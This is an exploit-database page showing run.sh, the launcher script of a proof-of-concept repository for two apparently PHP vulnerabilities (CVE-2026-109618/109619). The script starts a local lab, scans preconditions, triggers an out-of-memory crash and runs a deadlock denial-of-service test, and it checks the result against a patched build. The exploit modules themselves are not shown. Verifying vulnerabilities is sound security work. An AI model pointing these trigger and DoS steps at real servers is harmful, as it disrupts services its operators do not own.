Exploit databaseDownload repository ZIP
GH-19839ecba2ea770c09f9bb76196e69e2
1amrahul/php2shell-cve-2026-109618-cve-2026-109619
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
1amrahul/php2shell-cve-2026-109618-cve-2026-109619Revision 658b8d5ba958
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run.sh
Shell · 2,302 bytes#!/usr/bin/env bash
# run.sh - one-command entry point for the CVE-2026-109618 / CVE-2026-109619
# verification PoC. Authorized testing on targets you own only.
#
# usage:
# ./run.sh full verification: start lab, assess,
# trigger, DoS test, stop (exit 3 = reproduced)
# ./run.sh start [php] [port] [mem] start the lab target only
# ./run.sh stop stop the lab target
# ./run.sh assess precondition scan (safe, no OOM)
# ./run.sh trigger reach the OOM condition (server must run)
# ./run.sh dos lock-leak / wedge test (WEDGES a vulnerable
# server; ./run.sh stop afterwards)
# ./run.sh patched full run against the patched 8.4.27 build
# (build first: tools/build-php.sh 8.4.27 ~/php-verify-builds)
# ./run.sh help this text
#
# extra arguments are passed through, e.g.:
# ./run.sh assess --target http://127.0.0.1:18080/
# ./run.sh all --json run.json
#
# exit codes: 0 = clean / ok, 3 = vulnerability reproduced, 2 = error
set -uo pipefail
cd "$(dirname "${BASH_SOURCE[0]}")" || exit 2
PHP_BIN=${PHP_BIN:-php}
PORT=${PORT:-18080}
MEM=${MEM:-8M}
URL=${URL:-http://127.0.0.1:${PORT}/}
PATCHED=~/php-verify-builds/install-8.4.27/bin/php
CMD=${1:-all}
[ $# -gt 0 ] && shift
case "$CMD" in
all)
exec python3 tools/run_verification.py "$@"
;;
start)
exec ./lab/start.sh "${1:-$PHP_BIN}" "${2:-$PORT}" "${3:-$MEM}"
;;
stop)
exec ./lab/stop.sh
;;
assess)
exec python3 assess.py --target "$URL" "$@"
;;
trigger)
exec python3 poc/trigger.py --shape progress --size 4 remote --url "$URL" "$@"
;;
dos|deadlock)
exec python3 poc/deadlock_dos.py --url "$URL" --server-log lab/.state/server.log "$@"
;;
patched)
if [ ! -x "$PATCHED" ]; then
echo "[!] patched build not found: $PATCHED"
echo " build it first: tools/build-php.sh 8.4.27 ~/php-verify-builds"
exit 2
fi
exec python3 tools/run_verification.py --php "$PATCHED" "$@"
;;
help|-h|--help)
sed -n '2,26p' "$0"
exit 0
;;
*)
echo "[!] unknown command: $CMD (try: ./run.sh help)"
exit 2
;;
esac